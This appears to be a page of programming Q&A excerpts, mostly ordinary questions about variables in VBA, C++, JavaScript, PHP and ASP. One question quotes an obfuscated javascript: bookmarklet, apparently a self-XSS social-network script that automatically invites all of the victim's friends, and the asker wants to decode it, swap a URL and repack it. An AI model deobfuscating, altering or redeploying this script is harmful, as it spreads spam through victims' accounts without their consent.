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  • Repeating random variables in VBA

    - by Soo
    How can I use randomize and rnd to get a repeating list of random variables? By repeating list, I mean if you run a loop to get 10 random numbers, each random number in the list will be unique. In addition, if you were to run this sequence again, you would get the same 10 random numbers as before.

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  • Are 'const' variables precomputed by default in C++?

    - by Gunnar
    Suppose I have variables for positions like const float latitude = 51.+11./60.+33.0461/3600.; const float longitude = 12.+50./60.+31.9369/3600.; and use them frequently in the program. Does the compiler precompute that? (This example should not produce much overhead, but you get the point.) Bonus point for pointing out location. ;) TIA

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  • Need Firefox plug-in to show POSTed variables

    - by Cyrcle
    I need to find out what variables and values are being POSTed to a script that I'm debugging. It's doing something strange to them, and it needs to start a session so I can't ouput them right at the beginning. I'm hoping to find a plug-in for Firefox that will show me what they are directly from the browser. Does anyone know of such a thing?

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  • Save PHP variables to a text file

    - by Ajith
    I was wondering how to save PHP variables to a txt file and then retrieve them again. Example: There is an input box, after submitted the stuff that was written in the input box will be saved to a text file. Later on the results need to be brought back as a variable. So lets say the variable is $text I need that to be saved to a text file and be able to retrieve it back again. Hope it makes sense, Thanks in advance!!!

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  • Can you use constant variables in javascript?

    - by chobo2
    Hi I am using visual studios 2010 and created a javascript file(jscript.js) and I saw on one page saying you can make constant variables in javascript like: const x = 20; bu to on another page I read it says you can't. So I am confused now what is it now? Also in Visual studios when I write "const" it underlines it in the javascript file and goes syntax error.

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  • accessing variables declared outside the asp code

    - by sushant
    <script ID="clientEventHandlersVBS" LANGUAGE="vbscript"> s=pass() y=s </script> <% session("password")=y Response.write(session("password")) Response.write(y) %> i have this code. but nothing is getting stored inside the session variable neither anything is getting printed. cant i access the variables declared outside the asp code or is their any syntax mistake. any help is really appreciated

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  • javascript iterate array of variables and reassign value to each variable

    - by Shanison
    Hi how should i iterate array of variables and reassign value to each variable. E.g in jQuery function test(param1, param2) { $.each([param1, param2], function (i, v) { //check if all the input params have value, else assign the default value to it if (!v) v = default_value; //this is wrong, can't use v, which is value } } How should I get the variable and assign new value in the loop? Thank you very much!

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  • C++: Unitialized variables garbage

    - by Hardware Problem
    int myInt; cout << myInt; // Garbage like 429948, etc If I output and/or work with unitialized variables in C++, what are their assumed values? Actual values in the memory from the "last user"? e.g.: Program A is closed, it had an int with the value 1234 at 0x1234 - I run my program, myInt gets the address 0x1234, I output it like above - 1234 Is it just random garbage?

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  • Where are global variables stored in memory?

    - by Jack
    Are they stored in the heap or there is separate area where they are stored? Similarly where are static variables stored in memory. They can't be stored in frames as they will get destroyed when the function returns. PS - Can someone suggest a good book that talks about memory mapping for C/C++.

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  • Ruby IRB - Requires and Scope

    - by tyndall
    Trying to understand this problem I'm running into. I create file welcome.rb. The contents of this file: welcome_message = "hi there" I then launch an irb session. And type require 'welcome'. That works fine. Then I type: puts welcome_message I get the error message undefined local variable or method `welcome_message' for main:Object What is the best way to bring in predefined variables and have initialization work done when you require something into your irb session. Global variables didn't seem like the right path.

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  • How to find minimum of nonlinear, multivariate function using Newton's method (code not linear algeb

    - by Norman Ramsey
    I'm trying to do some parameter estimation and want to choose parameter estimates that minimize the square error in a predicted equation over about 30 variables. If the equation were linear, I would just compute the 30 partial derivatives, set them all to zero, and use a linear-equation solver. But unfortunately the equation is nonlinear and so are its derivatives. If the equation were over a single variable, I would just use Newton's method (also known as Newton-Raphson). The Web is rich in examples and code to implement Newton's method for functions of a single variable. Given that I have about 30 variables, how can I program a numeric solution to this problem using Newton's method? I have the equation in closed form and can compute the first and second derivatives, but I don't know quite how to proceed from there. I have found a large number of treatments on the web, but they quickly get into heavy matrix notation. I've found something moderately helpful on Wikipedia, but I'm having trouble translating it into code. Where I'm worried about breaking down is in the matrix algebra and matrix inversions. I can invert a matrix with a linear-equation solver but I'm worried about getting the right rows and columns, avoiding transposition errors, and so on. To be quite concrete: I want to work with tables mapping variables to their values. I can write a function of such a table that returns the square error given such a table as argument. I can also create functions that return a partial derivative with respect to any given variable. I have a reasonable starting estimate for the values in the table, so I'm not worried about convergence. I'm not sure how to write the loop that uses an estimate (table of value for each variable), the function, and a table of partial-derivative functions to produce a new estimate. That last is what I'd like help with. Any direct help or pointers to good sources will be warmly appreciated. Edit: Since I have the first and second derivatives in closed form, I would like to take advantage of them and avoid more slowly converging methods like simplex searches.

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  • ASP.NET Error when referencing a code-behind variable

    - by mattgcon
    I have an aspx page that is supposed to reference a code-behind variable but I am receiving an error of "The name [variable] does not exist in the current context" Here is the aspx code <%@ Control Language="C#" AutoEventWireup="true" Inherits="IPAM.Website.Controls.controls_event_header" Codebehind="event_header.ascx.cs" %> <%# strEventLink %> <h3><%# strEventDate %></h3> <%# strLinks %> Here is part of the aspx.cs code declaring those variables: public string strEventLink = ""; public string strEventDate; public string strLinks = ""; Here is the part of the aspx.cs code where it sets those variables: strEventLink = "<h2>" + parent.Name + "</h2>"; strLinks += "<p><font size=\"+1\"><a href=\"" + Page.ResolveUrl("~" + strScheduleLink) + "\"><b>" + strScheduleLinkText + "</b></a></font></p>\n"; strEventDate = ei.DateSpan; Please help me with this problem

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  • Memory address of a variable

    - by dotnetvoyager
    Hi Everyone, Is it possible to get the memory address of a variable in C#. What I am trying to do is very simple. I want to declare variables of type Double, Float, Decimal and assign the value 1.1 to each of these variables. Then I would like to go and see how these values are represented in memory. I need to get the memory address of the variable in order to see how its stored in memory. Once I have the memory address I plan to put a break point in the code and use the Debug - Windows - Memory option in visual studio to see how the numbers are stored in memory. Cheers,

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  • Javascript in address bar, how do I decipher?

    - by DoMx
    Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

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  • Environment Variable to determine the OS type (Windows XP, Windows 7)

    - by Santhosh
    I want to differrntiate between Windows XP and Windows 7 in a XML file. Thought i will use an environment variable for it inside the XML. However I could not find any system environment variable defined in windows that gives this information. I see the %OSTYPE% variable but it is only available in Windows 7. It is not defined in XP. Is there anyway i could do this? Note that i would like a solution which purely depends on system environment variables. I do not want to create new variables based on executing some command, because i want to use this variable in a XML file.

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  • Sending Javascript variables.

    - by shinjuo
    I have a page that allows a user to choose some things in a form and it will calculate the weight using javascript. It breaks it up into 5 variables that I need to send to another page. Originally I was just having it put the variable into a text box and then I was posting that text box. However I dont want to have 5 text boxes. So now I need to somehow send or post the five variables to another page. Here is my javascript function. I need to post weightBoxOne - weightBoxFive js function function getWeight(){ var weightBoxOne; var weightBoxTwo; var totalWeight; var box = .5; var quantity = document.dhform.quantity.value; var cardSize = document.dhform.cardSize.value; if(cardSize == 0.0141){ if(quantity <= 1000){ weightBoxOne = (quantity * cardSize) + box; totalWeight = weightBoxOne; }else if(quantity > 1000 && quantity <= 2000){ weightBoxOne = (1000 * cardSize) + box; weightBoxTwo = ((quantity - 1000) * cardSize) + box; totalWeight = weightBoxOne + weightBoxTwo; }else if(quantity > 2000 && quantity <= 3000){ weightBoxOne = (1000 * cardSize) + box; weightBoxTwo = (1000 * cardSize) + box; weightBoxThree = ((quantity - 2000) * cardSize) + box; totalWeight = weightBoxOne + weightBoxTwo + weightBoxThree; }else if(quantity > 3000 && quantity <= 4000){ weightBoxOne = (1000 * cardSize) + box; weightBoxTwo = (1000 * cardSize) + box; weightBoxThree = (1000 * cardSize) + box; weightBoxFour = ((quantity - 3000) * cardSize) + box; totalWeight = weightBoxOne + weightBoxTwo + weightBoxThree + weightBoxFour; }else{ weightBoxOne = (1000 * cardSize) + box; weightBoxTwo = (1000 * cardSize) + box; weightBoxThree = (1000 * cardSize) + box; weightBoxFour = (1000 * cardSize) + box; weightBoxFive = ((quantity - 4000) * cardSize) + box; totalWeight = weightBoxOne + weightBoxTwo + weightBoxThree + weightBoxFour + weightBoxFive; } }else if(cardSize == 0.00949){ if(quantity <= 4000){ weightBoxOne = (quantity * cardSize) + box; totalWeight = weightBoxOne; }else{ weightBoxOne = (4000 * cardSize) + box; weightBoxTwo = ((quantity - 4000) * cardSize) + box; totalWeight = weightBoxOne + weightBoxTwo; } } document.rates.weight.value = totalWeight; } //--> this is the form that was originally posting <form action="getRates.php" name="rates" method="post" onSubmit="popupform(this, 'join')"> <table style="width: 216px"> <tr> <td style="width: 115px; height: 49px;"><span class="style16">Weight</span><br/> <input type="text" id="weight" name="weight" size="10" maxlength="4"/> </td> <td align="right" style="width: 68px; height: 49px;" valign="top"><span class="style16">Zip Code</span><br/> <input type="text" id="zip" name="zip" size="10" maxlength="5"/> </td> </tr> <tr> <td style="width: 115px"> <input name="submit" type="submit" value="Get Rate Costs" style="width: 138px" />

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  • Persisting sensitve data in asp.net, odd implementation

    - by rawsonstreet
    For reasons not in scope of this question I have implemented a .net project in an iframe which runs from a classic asp page. The classic asp site persisted a few sensitive values by hitting the db on each page. I have passed there variables as xml to the aspx page, now I need to make these values available on any page of this .net site. I've looked into the cache object but we are on a web farm so I am not sure it would work. Is there a way I can can instantiate an object in a base page class and have other pages inherit from the base page to access these values? What is the best way to persist these values? A few more points to consider the site runs in https mode and I cannot use session variables, and I would like to avoid cookies if possible..

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  • Running JBoss 4.2.3 and JBoss 5.1 on the same server

    - by user115212
    I want to run JBoss 4.2.3 and JBoss 5.1 on the same server, but not simultaneously. I just need to be able to switch back and forth between the two for testing, so I don't need to change ports or anything like that. My problem is the JBOSS_HOME environment variable. When I set up a /soft/JBoss-4.2.3.GA directory and a /soft/JBoss-5.1.0.GA directory I can run the respective bin run.sh commands, however, both try to use the $JBOSS_HOME and $PATH environment variables which are set to the first installation (JBoss-4.2.3). So, how can I set separate environment variables? Or tell my new JBoss 5.1 installation to use another environment variable for JBOSS_HOME? How would I go about getting these two running together? Thanks!

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  • Multiple mod rewrites in .htaccess

    - by Bob
    I want the following rules but I don't seem to get the right setup. <domain>/training-courses/ both with or without the slash at the end it should go to: <domain>/?index.php?page=training-courses and for each variable extra after this I want it to behave like this: <domain>/training-courses/success/another-value/and-yet-another/ to <domain>/?index.php?page=training-courses&val1=success&val2=another-value&val3=and-yet-another-value If it's not possible to have the option for unlimited leading variables, i'd like to have at least 2 variables after the page variable Is this possible? and how do I get this sorted out? I have this so far: RewriteEngine On RewriteRule ^test/([^/]*)/$ /test/index.php?pagina=$1&val1=$2 RewriteRule ^test/([^/]*)$ /test/index.php?pagina=$1&val1=$2 RewriteRule ^test/([^/]*)/([^/]*)/$ /test/index.php?pagina=$1&val1=$2 RewriteRule ^test/([^/]*)/([^/]*)$ /test/index.php?pagina=$1&val1=$2 RewriteRule ^test/([^/]*)/([^/]*)/([^/]*)/$ /test/index.php?pagina=$1&val1=$2&val2=$3 RewriteRule ^test/([^/]*)/([^/]*)/([^/]*)$ /test/index.php?pagina=$1&val1=$2&val2=$3

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  • Sending a variable from a processing page back to the original PHP page

    - by user1228907
    So on a PHP page (page 1) I have some HTML, including : <form action="create_subject.php" method="post" > Which goes to a processing page (page 2) containing MySQL which will be executed if there aren't any errors. If there are (checked by validation on the processing page (page 2)) or aren't, certain variables are set, including this one for if it's successful : if (mysql_affected_rows() == 1){ $success = 1; redirect_to("new_subject.php"); } However, how would I include $success into the URL without putting it in as : redirect_to("new_subject.php?success=1"); I can't do this as I need to do if statements, and it's only PHP on "page 2" so I can't do an if statement inside redirect_to("new_subject.php"); I know I could do ... } else { redirect_to("new_subject.php?success=1"); } But this would seem mundane and non-semantic especially as I have several variables to proccess.

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  • Is it possible to use an incremental value within a variable name whilst declaring it within a loop?

    - by Jack
    Hi, I'm creating function which will read different XML files each time that will contain different amounts of the same nodes. I have already created a loop which stores the ID of each node into an array, and now I want to create variables for each array member which store attributes of the node with each ID. Because the number of nodes will be different for every XML document my function reads, I cannot manually assign variables for the attributes of each node ID not knowing how many to assign, so I have created a loop which runs specific to the number of items I have stored in the array. Inside this loop I was hoping to have something like: for (i=0; i<array.length; i++) { var ID + i + width = exampleheight var ID + i + height = exampleheight } I know this doesn't work, but was trying to outline what I am looking to find out. Is it possible to use some kind of variable or random number when declaring a variable?

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  • Safely defining variables for public callback functions in javascript

    - by djreed
    I am working with the YouTube iFrame API to embed a number of videos on a page. Documentation here: https://developers.google.com/youtube/iframe_api_reference#Requirements In summary, you load the API asynchronously using the following snippet: var tag = document.createElement('script'); tag.src = "http://www.youtube.com/player_api"; var firstScriptTag = document.getElementsByTagName('script')[0]; firstScriptTag.parentNode.insertBefore(tag, firstScriptTag); Once loaded, the API fires the predefined callback function onYouTubePlayerAPIReady. For additional context: I am defining a library file for this in Google Closure. I am providing a namespace: goog.provide('yt.video'); I then use goog.exportSymbol so that the API can find the function. That all works fine. My challenge is that I would like to pass 2 variables to the callback function. Is there any way to do this without defining these 2 variables in the context of the window object? goog.provide('yt.video'); goog.require('goog.dom'); yt.video = function(videos, locales) { this.videos = videos; this.captionLocales = locales; this.init(); }; yt.video.prototype.init = function() { var tag = document.createElement('script'); tag.src = "http://www.youtube.com/player_api"; var firstScriptTag = document.getElementsByTagName('script')[0]; firstScriptTag.parentNode.insertBefore(tag, firstScriptTag); }; /* * Callback function fired when YT API is ready * This is exported using goog.exportSymbol in another file and * is being fired by the API properly. */ yt.video.prototype.onPlayerReady = function(videos, locales) { window.console.log('this :' + this); //logs window window.console.log('this.videos : ' + this.videos); //logs undefined /* * Video settings from Django variable */ for(i=0; i<this.videos.length; i++) { var playerEvents = {}; var embedVars = {}; var el = this.videos[i].el; var playerVid = this.videos[i].vid; var playerWidth = this.videos[i].width; var playerHeight = this.videos[i].height; var captionLocales = this.videos[i].locales; if(this.videos[i].playerVars) var embedVars = this.videos[i].playerVars; } if(this.videos[i].events) { var playerEvents = this.videos[i].events; } /* * Show captions by default */ if(goog.array.indexOf(captionLocales, 'es') >= 0) { embedVars.cc_load_policy = 1; }; new YT.Player(el, { height: playerHeight, width: playerWidth, videoId: playerVid, events: playerEvents, playerVars: embedVars }); }; }; To intialize this, I am currently using the following within a self-executing anonymous function: var videos = [ {"vid": "video_id", "el": "player-1", "width": 640, "height": 390, "locales": ["es", "fr"], "events": {"onStateChange": stateChanged}}, {"vid": "video_id", "el": "player-2", "locales": ["es", "fr"], "width": 640, "height": 390} ]; var locales = ['es']; var videoTemplate = new yt.video(videos, locales);

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